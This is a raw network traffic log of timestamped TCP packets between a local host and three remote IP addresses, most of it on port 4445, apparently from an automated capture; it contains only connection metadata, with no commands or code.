Mar 28, 2024 13:59:16.788701057 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.788764000 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.788829088 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.788873911 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.788935900 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.788995028 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.789009094 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.789083958 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.789119959 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.789156914 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.789215088 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.789268017 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.789366007 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.789479017 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.789499998 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.789534092 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.789570093 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.789617062 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.789653063 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.789729118 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.789762020 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.789827108 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.789841890 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.789880991 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.789891958 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.789947033 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.789988041 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.790007114 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.790133953 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.790169954 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.790288925 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.790328026 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.790389061 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.790400982 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.790441990 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.790501118 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.790508032 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.790611029 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.790657043 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.790671110 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.790777922 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.790937901 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.790978909 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.791009903 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.791106939 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.791203976 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.791265965 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.791313887 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.791321039 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.791368008 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.791433096 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.791445017 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.791467905 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.791520119 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.791603088 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.791668892 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.791740894 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.792020082 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.792231083 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.792273998 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.792370081 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.792464972 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.792526960 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.792551041 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.792629004 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.792707920 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.792707920 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.792793989 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.792835951 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.792905092 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.792998075 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.793143034 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.793199062 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.793281078 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.793358088 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.793401957 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.793462992 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.793567896 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.793606043 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.793670893 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.793734074 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.793781042 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.794636965 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.794732094 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.794734955 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.794852018 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.794908047 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.794909954 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.795030117 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.795089006 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.795129061 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.795145988 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.795243025 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.795298100 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.795361996 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.795413971 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.795423031 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.795475960 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.795527935 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.795531034 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.796142101 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.796237946 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.796245098 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.796297073 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.796351910 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.796395063 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.796405077 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.796454906 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.796457052 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.796505928 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.796576977 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.870371103 CET	4445	49708	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936052084 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936105967 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936117887 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936202049 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936219931 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.936250925 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936305046 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936309099 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.936319113 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936327934 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936377048 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936389923 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936403036 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936414003 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936417103 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.936436892 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936456919 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.936461926 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936479092 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.936495066 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.936497927 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936532021 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936611891 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.936813116 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936866045 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936878920 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936903000 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936927080 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.936942101 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936980963 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.936999083 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.937000990 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.937025070 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.937045097 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.937082052 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.937537909 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.937561035 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.937581062 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.937603951 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.937642097 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.937642097 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.938343048 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.938371897 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.938399076 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.938412905 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.938427925 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.938462019 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.938625097 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.938637972 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.938679934 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.938698053 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.938728094 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.938761950 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.938782930 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.938795090 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.938807011 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.938853979 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.938860893 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.938970089 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.939173937 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.939187050 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.939203978 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.939238071 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.939245939 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.939251900 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.939273119 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.939323902 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.939327955 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.939327955 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.939336061 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.939389944 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.939719915 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.939754963 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.939773083 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.939801931 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.939817905 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.939838886 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.939847946 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.939862013 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.939914942 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.939982891 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.940041065 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.940092087 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.940310955 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.940356016 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.940383911 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.940397978 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.940453053 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.940453053 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.940510988 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.940543890 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.940606117 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.940607071 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.940618992 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.940633059 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.940654993 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.940675020 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.940680027 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.940718889 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.940743923 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.940776110 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.940815926 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.940829039 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.940872908 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.940881968 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.940896034 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.940937042 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.941230059 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.941262960 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.941289902 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.941302061 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.941318989 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.941344976 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:17.625600100 CET	80	49712	178.237.33.50	192.168.2.7
Mar 28, 2024 13:59:17.625649929 CET	49712	80	192.168.2.7	178.237.33.50
Mar 28, 2024 13:59:19.297585964 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:19.457453012 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:19.457515001 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:19.457626104 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:19.457700014 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:19.457920074 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:19.458122969 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:19.617573977 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:19.617589951 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:19.627432108 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:19.627528906 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:28.221421957 CET	49718	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:28.221481085 CET	443	49718	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:28.221549034 CET	49718	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:28.221648932 CET	49718	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:28.221683025 CET	443	49718	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:28.221736908 CET	49718	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:28.237688065 CET	49719	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:28.237731934 CET	443	49719	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:28.237853050 CET	49719	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:28.239038944 CET	49719	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:28.239053965 CET	443	49719	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:28.546855927 CET	443	49719	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:28.546966076 CET	49719	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:28.552050114 CET	49719	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:28.552059889 CET	443	49719	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:28.552333117 CET	443	49719	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:28.600994110 CET	49719	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:28.648242950 CET	443	49719	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:29.029633999 CET	443	49719	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:29.029730082 CET	443	49719	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:29.029789925 CET	49719	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:29.029953957 CET	49719	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:29.029953957 CET	49719	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:29.029974937 CET	443	49719	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:29.029984951 CET	443	49719	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:30.172025919 CET	49721	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:30.172051907 CET	443	49721	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:30.172137976 CET	49721	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:30.175173998 CET	49721	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:30.175228119 CET	443	49721	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:30.175287962 CET	49721	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:30.260081053 CET	49722	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:30.260113955 CET	443	49722	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:30.260235071 CET	49722	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:30.260687113 CET	49722	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:30.260699034 CET	443	49722	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:30.571398973 CET	443	49722	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:30.571541071 CET	49722	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:30.777987957 CET	49722	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:30.778009892 CET	443	49722	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:30.778409004 CET	443	49722	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:30.779958010 CET	49722	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:30.824240923 CET	443	49722	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:31.030147076 CET	443	49722	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:31.030237913 CET	443	49722	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:31.030292988 CET	49722	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:31.055952072 CET	49722	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:31.055970907 CET	443	49722	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:31.055985928 CET	49722	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:31.055991888 CET	443	49722	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:33.233990908 CET	49724	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:33.234036922 CET	443	49724	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:33.234093904 CET	49724	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:33.237242937 CET	49724	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:33.237287045 CET	443	49724	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:33.237343073 CET	49724	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:33.295782089 CET	49725	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:33.295808077 CET	443	49725	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:33.295912027 CET	49725	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:33.296305895 CET	49725	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:33.296322107 CET	443	49725	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:33.604036093 CET	443	49725	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:33.604165077 CET	49725	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:33.605699062 CET	49725	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:33.605705976 CET	443	49725	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:33.605989933 CET	443	49725	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:33.607290983 CET	49725	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:33.652239084 CET	443	49725	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:33.898469925 CET	443	49725	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:33.898576975 CET	443	49725	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:33.898638010 CET	49725	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:33.898785114 CET	49725	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:33.898785114 CET	49725	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:33.898808002 CET	443	49725	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:33.898818016 CET	443	49725	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:36.348828077 CET	49727	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:36.348862886 CET	443	49727	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:36.348932981 CET	49727	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:36.362474918 CET	49727	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:36.362515926 CET	443	49727	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:36.362616062 CET	49727	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:36.613954067 CET	49728	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:36.613996029 CET	443	49728	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:36.614068985 CET	49728	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:36.615299940 CET	49728	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:36.615314960 CET	443	49728	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:36.922312975 CET	443	49728	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:36.922373056 CET	49728	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:36.928895950 CET	49728	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:36.928915977 CET	443	49728	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:36.929172993 CET	443	49728	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:36.978310108 CET	49728	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:36.979087114 CET	49728	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:37.024240017 CET	443	49728	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:37.426786900 CET	443	49728	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:37.426882982 CET	443	49728	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:37.426975965 CET	49728	443	192.168.2.7	13.107.139.11
